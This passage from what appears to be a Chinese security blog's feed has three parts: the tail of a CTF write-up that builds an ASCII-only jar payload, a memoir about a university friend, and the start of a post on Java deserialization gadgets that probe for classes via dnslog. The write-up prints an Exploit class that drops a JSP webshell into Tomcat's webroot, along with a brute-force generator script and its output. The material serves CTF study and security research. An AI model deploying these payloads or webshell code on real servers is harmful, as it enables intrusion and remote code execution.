+</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(zip_entry_filename)) +</span><br><span class="line"> <span class="string">b'\0'</span> * <span class="number">10</span> +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, <span class="number">0</span>) + <span class="comment"># offset of file in archive</span></span><br><span class="line"> zip_entry_filename +</span><br><span class="line"> <span class="string">b'PK\5\6\0\0\0\0\0\0'</span> + <span class="comment"># Magic</span></span><br><span class="line"> struct.pack(<span class="string">'<H'</span>, <span class="number">1</span>) + <span class="comment"># number of files</span></span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(zip_entry_filename) + <span class="number">0x2e</span>) + <span class="comment"># size of CD</span></span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(compressed_data) + len(zip_entry_filename) + <span class="number">0x1e</span>) + <span class="comment"># offset of CD</span></span><br><span class="line"> <span class="string">b'\0\0'</span></span><br><span class="line"> )</span><br></pre></td></tr></table></figure><p>要想让所有部分都在限定的ASCII范围,其实是需要如下7个部分要满足要求。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> compressed_data</span><br><span class="line"><span class="number">2.</span> struct.pack(<span class="string">'<L'</span>, crc)</span><br><span class="line"><span class="number">3.</span> struct.pack(<span class="string">'<L'</span>, len(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"><span class="number">4.</span> struct.pack(<span class="string">'<L'</span>, len(compressed_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"><span class="number">5.</span> struct.pack(<span class="string">'<L'</span>, len(zip_entry_filename))</span><br><span class="line"><span class="number">6.</span> struct.pack(<span class="string">'<L'</span>, len(zip_entry_filename) + <span class="number">0x2e</span>)</span><br><span class="line"><span class="number">7.</span> struct.pack(<span class="string">'<L'</span>, len(compressed_data) + len(filename) + <span class="number">0x1e</span>)</span><br></pre></td></tr></table></figure><p>这里<code>zip_entry_filename</code>为<code>Exploit.class</code>的话,5和6是满足要求的。1条件中的<code>compressed_data</code>是deflate算法压缩后的数据,这部分是可以调用<code>ascii-zip</code>项目中的实现来构造的。所以还剩下4部分需要限定下。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> struct.pack(<span class="string">'<L'</span>, crc)</span><br><span class="line"><span class="number">2.</span> struct.pack(<span class="string">'<L'</span>, len(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"><span class="number">3.</span> struct.pack(<span class="string">'<L'</span>, len(compressed_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"><span class="number">4.</span> struct.pack(<span class="string">'<L'</span>, len(compressed_data) + len(zip_entry_filename) + <span class="number">0x1e</span>)</span><br></pre></td></tr></table></figure><p>一个文件的<code>crc</code>,<code>raw_data</code>和<code>compressed_data</code>之间都是互相有影响的。当然可以尝试寻找一个数学公式能表达它们的关系,最终计算出符合条件的jar格式。这个显然是优雅的,但是实现成本比较高。我最终采用的是往class不断填充垃圾数据,直到4个部分都符合要求。</p><h2 id="0x02-编写爆破脚本"><a href="#0x02-编写爆破脚本" class="headerlink" title="0x02 编写爆破脚本"></a>0x02 编写爆破脚本</h2><p>假设我们构造的jar是往web目录下写一个jsp,代码可以如下,其中<code>paddingData</code>字段是填充垃圾数据的地方。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.jasper.compiler.StringInterpreter;</span><br><span class="line"><span class="keyword">import</span> org.apache.jasper.compiler.StringInterpreterFactory;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Exploit</span> <span class="keyword">implements</span> <span class="title">StringInterpreter</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> String paddingData = <span class="string">"{PADDING_DATA}"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 要执行的代码</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Exploit</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> String shell = <span class="string">"<%out.println(\\"</span>Exploit by c0ny1<span class="meta">@sglab</span>\\<span class="string">");%>"</span>;</span><br><span class="line"> FileOutputStream fos = <span class="keyword">new</span> FileOutputStream(<span class="string">"/opt/tomcat/webapps/ROOT/shell.jsp"</span>);</span><br><span class="line"> fos.write(shell.getBytes());</span><br><span class="line"> fos.close();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 防止后续tomcat编译jsp报错</span></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">convertString</span><span class="params">(Class<?> c, String s, String attrName, Class<?> propEditorClass, <span class="keyword">boolean</span> isNamedAttribute)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> StringInterpreterFactory.DefaultStringInterpreter().convertString(c,s,attrName,propEditorClass,isNamedAttribute);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>使用上面作为模版代码,编写python脚本不断向paddingData字段填充垃圾数据,然后javac编译,最后计算class文件压缩之后是否符合条件。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># autor: c0ny1</span></span><br><span class="line"><span class="comment"># date 2022-02-13</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> compress <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">allow_bytes = []</span><br><span class="line">disallowed_bytes = [<span class="number">38</span>,<span class="number">60</span>,<span class="number">39</span>,<span class="number">62</span>,<span class="number">34</span>,<span class="number">40</span>,<span class="number">41</span>] <span class="comment"># &<'>"()</span></span><br><span class="line"><span class="keyword">for</span> b <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">128</span>): <span class="comment"># ASCII</span></span><br><span class="line"> <span class="keyword">if</span> b <span class="keyword">in</span> disallowed_bytes:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> allow_bytes.append(b)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> padding_char = <span class="string">'A'</span> <span class="comment"># 填充的字符</span></span><br><span class="line"> raw_filename = <span class="string">'Exploit.class'</span> <span class="comment"># 原文件名</span></span><br><span class="line"> zip_entity_filename = <span class="string">'Exploit.class'</span> <span class="comment"># 压缩文件名</span></span><br><span class="line"> jar_filename = <span class="string">'ascii01.jar'</span> <span class="comment"># 保存文件名</span></span><br><span class="line"> num = <span class="number">1</span></span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> <span class="comment"># step1 动态生成java代码并编译</span></span><br><span class="line"> javaCode = <span class="string">"""</span></span><br><span class="line"><span class="string"> java模版代码</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> padding_data = padding_char * num</span><br><span class="line"> javaCode = javaCode.replace(<span class="string">"{PADDING_DATA}"</span>, padding_data)</span><br><span class="line"></span><br><span class="line"> f = open(<span class="string">'Exploit.java'</span>, <span class="string">'w'</span>)</span><br><span class="line"> f.write(javaCode)</span><br><span class="line"> f.close()</span><br><span class="line"> time.sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line"> os.system(<span class="string">"javac -nowarn -g:none -source 1.5 -target 1.5 -cp jasper.jar Exploit.java"</span>)</span><br><span class="line"> time.sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># step02 计算压缩之后的各个部分是否在允许的ASCII范围</span></span><br><span class="line"> raw_data = bytearray(open(raw_filename, <span class="string">'rb'</span>).read())</span><br><span class="line"> compressor = ASCIICompressor(bytearray(allow_bytes))</span><br><span class="line"> compressed_data = compressor.compress(raw_data)[<span class="number">0</span>]</span><br><span class="line"> crc = zlib.crc32(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>)</span><br><span class="line"></span><br><span class="line"> st_crc = struct.pack(<span class="string">'<L'</span>, crc)</span><br><span class="line"> st_raw_data = struct.pack(<span class="string">'<L'</span>, len(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"> st_compressed_data = struct.pack(<span class="string">'<L'</span>, len(compressed_data) % pow(<span class="number">2</span>, <span class="number">32</span>))</span><br><span class="line"> st_cdzf = struct.pack(<span class="string">'<L'</span>, len(compressed_data) + len(zip_entity_filename) + <span class="number">0x1e</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> b_crc = isAllowBytes(st_crc, allow_bytes)</span><br><span class="line"> b_raw_data = isAllowBytes(st_raw_data, allow_bytes)</span><br><span class="line"> b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)</span><br><span class="line"> b_cdzf = isAllowBytes(st_cdzf, allow_bytes)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># step03 判断各个部分是否符在允许字节范围</span></span><br><span class="line"> <span class="keyword">if</span> b_crc <span class="keyword">and</span> b_raw_data <span class="keyword">and</span> b_compressed_data <span class="keyword">and</span> b_cdzf:</span><br><span class="line"> print(<span class="string">'[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'</span>.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))</span><br><span class="line"> <span class="comment"># step04 保存最终ascii jar</span></span><br><span class="line"> output = open(jar_filename, <span class="string">'wb'</span>)</span><br><span class="line"> output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode()))</span><br><span class="line"> print(<span class="string">'[+] Generate {0} success'</span>.format(jar_filename))</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> print(<span class="string">'[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'</span>.format(b_crc, b_raw_data,</span><br><span class="line"> b_compressed_data, b_cdzf, num,</span><br><span class="line"> padding_char))</span><br><span class="line"> num = num + <span class="number">1</span></span><br></pre></td></tr></table></figure><p>我这边的编译环境是填充了<code>248个A</code>就满足要求了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">➜ ascii-jar git:(master) ✗ python3 ascii-jar-1.py</span><br><span class="line">[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 1*A</span><br><span class="line">[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 2*A</span><br><span class="line">[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 3*A</span><br><span class="line">......</span><br><span class="line">[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 247*A</span><br><span class="line">[+] CRC:True RDL:True CDL:True CDAFL:True Padding data: 248*A</span><br><span class="line">[+] Generate ascii01.jar success</span><br></pre></td></tr></table></figure><h2 id="0x03-前后脏数据的处理"><a href="#0x03-前后脏数据的处理" class="headerlink" title="0x03 前后脏数据的处理"></a>0x03 前后脏数据的处理</h2><p>zip格式的文件都是支持前后加脏数据的,不过加脏数据之后需要修复下各类<code>offset</code>。可以使用zip命令进行修复,为了省事,这里我直接使用phith0n师傅的<a href="https://github.com/phith0n/PaddingZip" target="_blank" rel="noopener">PaddingZip</a>项目来修复。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ python3 paddingzip.py -i ascii01.jar -o payload.jar -p <span class="string">"DIRTY DATA AT THE BEGINNING "</span> -a <span class="string">"C0NY1 DIRTY DATA AT THE END"</span></span><br><span class="line">file <span class="string">'payload.jar'</span> is generated</span><br></pre></td></tr></table></figure><p>可能你会有疑问,为啥末尾的脏数据是<code>C0NY1</code> + <code>DIRTY DATA AT THE END</code>。这是因为题目的代码,在获取参数时进行了<code>trim</code>操作。</p><p><img src="/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/trim.png" alt="trim方法的逻辑"></p><p>trim操作会将字符串首尾小于或等于<code>\u0020</code>的字符清理掉,而正常的zip文件末尾都是<code>00</code>等空字节结尾的,这会导致末尾数据丢失。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// java.lang.String#trim</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">trim</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> len = value.length;</span><br><span class="line"> <span class="keyword">int</span> st = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">char</span>[] val = value; <span class="comment">/* avoid getfield opcode */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> ((st < len) && (val[st] <= <span class="string">' '</span>)) {</span><br><span class="line"> st++;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> ((st < len) && (val[len - <span class="number">1</span>] <= <span class="string">' '</span>)) {</span><br><span class="line"> len--;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> ((st > <span class="number">0</span>) || (len < value.length)) ? substring(st, len) : <span class="keyword">this</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>为了解决这个问题,我们需要一个大于<code>\u0020</code>的字符插入结尾,比如<code>C0NY1</code>。</p><p>修改offset之后,使用hex编辑器把<code>jar + C0NY1</code>的数据抠出来就是最终要提交的payload了。 </p><p><img src="/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/payload-data.png" alt="最终payload数据"></p><p>构造<code>META-INF/resources/shell.jsp</code>类型的<code>ascii-jar</code>更加简单,感兴趣的直接参考我github项目<a href="https://github.com/c0ny1/ascii-jar" target="_blank" rel="noopener">ascii-jar</a>当中<code>ascii-jar-2.py</code>的代码。</p><p>最后的利用步骤官方Writeup讲的很清楚,这里就不赘述了。</p><p><img src="/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/exploit.png" alt="最终利用"></p><h2 id="0x04-总结"><a href="#0x04-总结" class="headerlink" title="0x04 总结"></a>0x04 总结</h2><p>综合来看WreckTheLine战队的解法,我认为是最好的,两个步骤直接搞定。官方writeup写入非法jar,业务重启会崩溃。Sauercloud战队使用的<code>org.apache.jasper.compiler.StringInterpreter</code>并不能通杀tomcat。</p><p>最后感谢作者提供了这么好的一道ctf题,一道好题就像是一部不错的悬疑片,环环相扣耐人寻味。哪怕是解决之后脑海里依然在思考这些trick在实战中的意义,比如jar中的<code>META-INF/resources/</code>目录是不是可以用来做权限维持?</p><h2 id="0x05-参考资料"><a href="#0x05-参考资料" class="headerlink" title="0x05 参考资料"></a>0x05 参考资料</h2><ul><li><a href="https://mp.weixin.qq.com/s/QQ2xR32Fxj_nnMsFCucbCg" target="_blank" rel="noopener">RWCTF 4th Desperate Cat Writeup</a></li><li><a href="https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html" target="_blank" rel="noopener">https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html</a></li><li><a href="https://github.com/molnarg/ascii-zip" target="_blank" rel="noopener">https://github.com/molnarg/ascii-zip</a></li><li><a href="https://github.com/Arusekk/ascii-zip" target="_blank" rel="noopener">https://github.com/Arusekk/ascii-zip</a></li><li><a href="https://github.com/phith0n/PaddingZip" target="_blank" rel="noopener">https://github.com/phith0n/PaddingZip</a></li></ul>]]></content>
<summary type="html">
<h2 id="0x00-背景"><a href="#0x00-背景" class="headerlink" title="0x00 背景"></a>0x00 背景</h2><p>出题人的<a href="https://mp.weixin.qq.com/s/QQ2xR32Fxj
</summary>
<category term="ctf" scheme="https://gv7.me/tags/ctf/"/>
</entry>
<entry>
<title>忆魁兄</title>
<link href="https://gv7.me/articles/2022/remember-my-brother-qui/"/>
<id>https://gv7.me/articles/2022/remember-my-brother-qui/</id>
<published>2022-01-20T02:07:43.000Z</published>
<updated>2024-01-02T03:10:52.831Z</updated>
<content type="html"><![CDATA[<p>早上起来做早餐,发现窗外的北京城下起了鹅毛大雪。让我突然想起大学一个“有味道”的人以及他的事。真是飞雪窗边过,故人心上来。下文是大学时写的与他的记忆,且仅有此篇,毕业后也再没他的消息。</p><p><img src="/articles/2022/remember-my-brother-qui/snow-outside-the-window.jpeg" alt="窗边飞雪"></p><p>魁兄,小我一届,爱诗喜酒嗜编程,是我目前认识的最有才情的程序猿。原先虽然同处一个工作室,然生活并无交集。</p><p>真正认识是在一年冬天的夜晚,工作室三大学霸因获得奖学金而请通宵唱歌,而我和他正好在邀请之列。</p><p>麦霸们开始争相在点播机前点歌,酒鬼们也用他们坚硬的牙齿翘开一瓶又一瓶黄河啤酒,“烟筒”们自然也没有闲着嘴,叼着黑兰州并互相给对方点火,不时吐出一抹白烟,缭绕在空气中。我就穿梭在这些之间,乐此不彼。</p><p>魁兄到是不识人间烟火,手里握着还没拧开口的白酒,安静的坐在一个被人遗忘的角落,不说话。脸上平静而祥和,到是有点像暮年的老者看着一群年轻人狂欢的寂寞。ktv红红绿绿的灯光,和他似乎有些格格不入。我以为没人跟他说话,于是跟工作室其他男男女女寒暄几番之后。我把酒杯藏在身后向他走去,他身边的学弟们也识趣地给我让出一个位置~</p><p>我:“魁兄,你的酒杯呢?”<br>我瞟了他一眼<br>他淡淡说到:“啤酒不醉人,又不暖心,不喜”。<br>我看了看天花板,叹气道:“那咱来一个冬天的白酒”。<br>他:“甚好”<br>⋯⋯⋯⋯</p><p>我们就这样,在红男绿女的狂欢之中,在杯觥交错之间聊起编程,聊起C语言,python,Linux,还聊起了他的诗和故事。其实平生也是第一次在KTV里讨论编程知识,感觉是有点怪怪,不过相谈甚欢。聊天具体的内容我也不太记得了。只记得那个冬天,一杯白酒温暖了整个夜晚⋯⋯</p><p>时间回到了前天夜里,我照常在学院看书,他突然发消息给我说来取他的诗集,我欣喜不已去他宿舍。他做在窗台边,背景是无尽的夜色。</p><p>他平静的说:现在也写不出诗了,我整理了一些能看的凑成一本小册子,你们将就着看吧!<br>我:为何写不出?<br>他打开窗户,外面的雪飘了进来,划过他的臂膀。他背对我说:没感觉了,或许编程太多,或许环境变了,或许我也不知道为何。</p><p>我默不作声,走到门口。<br>我:魁兄既有雪夜赠书之意,我亦有勾句还汝之情。<br>魁兄也不做声,笑的像个孩子一样,甚是可爱</p><p><img src="/articles/2022/remember-my-brother-qui/zixv.jpeg" alt></p><p><img src="/articles/2022/remember-my-brother-qui/mulu.jpeg" alt></p><p><img src="/articles/2022/remember-my-brother-qui/ying-xiang.jpeg" alt></p>]]></content>
<summary type="html">
<p>早上起来做早餐,发现窗外的北京城下起了鹅毛大雪。让我突然想起大学一个“有味道”的人以及他的事。真是飞雪窗边过,故人心上来。下文是大学时写的与他的记忆,且仅有此篇,毕业后也再没他的消息。</p>
<p><img src="/articles/2022/remember-my-
</summary>
<category term="回忆录" scheme="https://gv7.me/tags/%E5%9B%9E%E5%BF%86%E5%BD%95/"/>
</entry>
<entry>
<title>构造java探测class反序列化gadget</title>
<link href="https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/"/>
<id>https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/</id>
<published>2021-12-30T12:39:43.000Z</published>
<updated>2023-01-13T02:41:02.041Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>你是否遇到过这样的情况,黑盒环境下有一个序列化入口。你将ysoserial所有gadget的测试了一遍,均无法RCE。由于没有报错信息,你根本无法确定是下面那个原因导致。</p><ol><li>没有gadget依赖的jar</li><li>suid不一致</li><li>jar版本不在漏洞版本</li><li>gadget使用的class进入了黑名单</li><li>……</li></ol><p>单纯的盲测,工作量将非常大。如果我们有一个通用的探测某个class是否存在的gadget,这些问题将很好解决!</p><h2 id="0x02-解决serialVersionUID冲突问题"><a href="#0x02-解决serialVersionUID冲突问题" class="headerlink" title="0x02 解决serialVersionUID冲突问题"></a>0x02 解决serialVersionUID冲突问题</h2><p>在构造之前我们先思考一个问题,Java原生反序列化是会检测<code>serialVersionUID</code>的。当我们本地序列化Class和服务器上的Class SUID不一样的时候,哪怕是真实存在这个类,我们也无法探测成功。涉及这一块检测在JDK如下方法中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// java.io.ObjectStreamClass#initNonProxy</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">initNonProxy</span><span class="params">(ObjectStreamClass model,</span></span></span><br><span class="line"><span class="function"><span class="params"> Class<?> cl,</span></span></span><br><span class="line"><span class="function"><span class="params"> ClassNotFoundException resolveEx,</span></span></span><br><span class="line"><span class="function"><span class="params"> ObjectStreamClass superDesc)</span></span></span><br><span class="line"><span class="function"><span class="keyword">throws</span> InvalidClassException</span>{</span><br><span class="line"> <span class="comment">// model是基于序列化数据构造的ObjectStreamClass对象</span></span><br><span class="line"> suid = Long.valueOf(model.getSerialVersionUID());</span><br><span class="line"> serializable = model.serializable;</span><br><span class="line"> externalizable = model.externalizable;</span><br><span class="line"> ......</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (cl != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="comment">// 通过类名,基于当前运行环境构造的ObjectStreamClass</span></span><br><span class="line"> localDesc = lookup(cl, <span class="keyword">true</span>);</span><br><span class="line"> ......</span><br><span class="line"> <span class="comment">// SUID检查条件:是否都或都没有实现了Serializable接口 && 不是数组类 && suid不相同</span></span><br><span class="line"> <span class="keyword">if</span> (serializable == localDesc.serializable &&</span><br><span class="line"> !cl.isArray() &&</span><br><span class="line"> suid.longValue() != localDesc.getSerialVersionUID())</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> InvalidClassException(localDesc.name,</span><br><span class="line"> <span class="string">"local class incompatible: "</span> +</span><br><span class="line"> <span class="string">"stream classdesc serialVersionUID = "</span> + suid +</span><br><span class="line"> <span class="string">", local class serialVersionUID = "</span> +</span><br><span class="line"> localDesc.getSerialVersionUID());</span><br><span class="line"> }</span><br><span class="line"> ......</span><br><span class="line"> }</span><br><span class="line"> ......</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们不难判断出来如果要绕过<code>serialVersionUID</code>的检查就需要打破3个判断条件中的一个。这里我想到了2个方案进行绕过,假设我们要探测A类存不存在。</p><ol><li><p>动态生成一个<code>A类</code>不实现<code>Serializable</code>接口进行序列化。如果线上的A类是实现Serializable接口,第一个条件就不成立了直接绕过。如果线上的Class没有实现改接口,则两者suid都为<code>0L</code>,第三个条件不符合,自然无需检查。</p></li><li><p>直接序列化<code>A[].class</code>,第二个条件直接不符合,直接不用检查SUID,无需关心实现实现Serializable接口。</p></li></ol><p>这里我选择按照1的方式动态生成Class:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Class <span class="title">makeClass</span><span class="params">(String clazzName)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> ClassPool classPool = ClassPool.getDefault();</span><br><span class="line"> CtClass ctClass = classPool.makeClass(clazzName);</span><br><span class="line"> Class clazz = ctClass.toClass();</span><br><span class="line"> ctClass.defrost();</span><br><span class="line"> <span class="keyword">return</span> clazz;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x03-一次失败的构造"><a href="#0x03-一次失败的构造" class="headerlink" title="0x03 一次失败的构造"></a>0x03 一次失败的构造</h2><p>沿用之前的<a href="https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/">包裹大量脏数据绕WAF的思路</a>来构造,发现LinkedList第一个元素反序列化失败并不会导致反序列化流程停止。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">List<Object> a = <span class="keyword">new</span> LinkedList<Object>();</span><br><span class="line">a.add(makeClass(<span class="string">"TargetClass"</span>));</span><br><span class="line">a.add(<span class="keyword">new</span> URLDNS.getObject(<span class="string">"http://test.dnslog.cn"</span>));</span><br></pre></td></tr></table></figure><p>通过Object属性也无法成功。第一个属性反序列化失败,第二个属性依然会被反序列化。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Class A {</span><br><span class="line"><span class="keyword">private</span> Object a; <span class="comment">// makeClass("TargetClass")</span></span><br><span class="line"><span class="keyword">private</span> Object b; <span class="comment">// new URLDNS.getObject("http://test.dnslog.cn")</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>调试后发现不存在class抛出的<code>ClassNotFoundException</code>异常,被<code>try...catch</code>了,并不能阻断<code>java.io.ObjectInputStream#readObject</code>内部流程,但是可以阻断其他可序列化类的<code>readObject</code>流程。也就是说需要通过ClassNotFoundException来阻断source到sink之间的通路,才能断链。</p><h2 id="0x04-通过dnslog探测class"><a href="#0x04-通过dnslog探测class" class="headerlink" title="0x04 通过dnslog探测class"></a>0x04 通过dnslog探测class</h2><p>在一次午饭的时候和<code>@NoPoint</code>师傅交流,说到了可以改造URLDNS这个gadget探测class,我之前是在fastjson中使用过类似的思路。</p><p>重新分析了下<code>URLDNS</code>的调用链,发现可以在<code>HashMap#readObject</code>处阻断。当反序列化key-value时,如果value是一个不存在的Class的话,将会报错退出for循环,<code>URL对象</code>作为<code>key</code>将不会被<code>putForCreate</code>到<code>hashcode</code>方法触发dnslog。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span 